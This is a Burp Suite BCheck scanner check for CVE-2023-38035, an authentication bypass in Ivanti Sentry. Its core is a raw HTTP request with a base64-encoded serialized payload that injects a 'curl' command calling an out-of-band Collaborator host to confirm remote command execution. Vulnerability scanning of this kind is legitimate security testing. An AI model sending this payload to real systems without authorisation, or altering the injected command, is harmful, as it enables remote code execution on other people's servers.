CVE-2023-38035 - Ivanti Sentry - Auth Bypass.bcheck

metadata:
    language: v1-beta
    name: "CVE-2023-38035 - Ivanti Sentry - Auth Bypass"
    description: "Checks for CVE-2023-38035"
    author: "Dolph Flynn"
    tags: "CVE-2023-38035", "ivanti", "mobileiron", "OAST"


define:
    collatorator_payload = `{generate_collaborator_address()}/?{random_str(123)}`
    trimmed_collaborator_payload = `{regex_replace ({collatorator_payload}, "(?<=^.{71}).*" , "")}` # trims payload to 71 characters!


given host then
    send request called check:
        `POST /mics/services/MICSLogService HTTP/1.1
Host: {base.request.url.host}
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Content-Length: 133
Content-Type: application/json

{base64_decode("YwEAbQAYdXBsb2FkRmlsZVVzaW5nRmlsZUlucHV0TVMAB2NvbW1hbmRTAEw=")}curl {trimmed_collaborator_payload}{base64_decode("UwAGaXNSb290VHpOeg==")}`

    if {check.response.status_code} is "200" and "isRunningTzz" in {check.response.body} and dns interactions then

        report issue:
            severity: high
            confidence: certain
            detail: "Ivanti Sentry - Authentication Bypass."

    end if